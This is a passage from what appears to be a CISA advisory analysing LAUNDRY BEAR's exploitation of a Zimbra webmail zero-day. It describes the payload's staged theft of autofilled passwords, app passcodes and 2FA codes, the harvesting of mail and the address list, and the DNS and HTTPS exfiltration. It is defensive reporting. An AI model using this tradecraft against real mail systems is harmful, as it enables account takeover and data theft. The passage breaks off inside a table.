<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
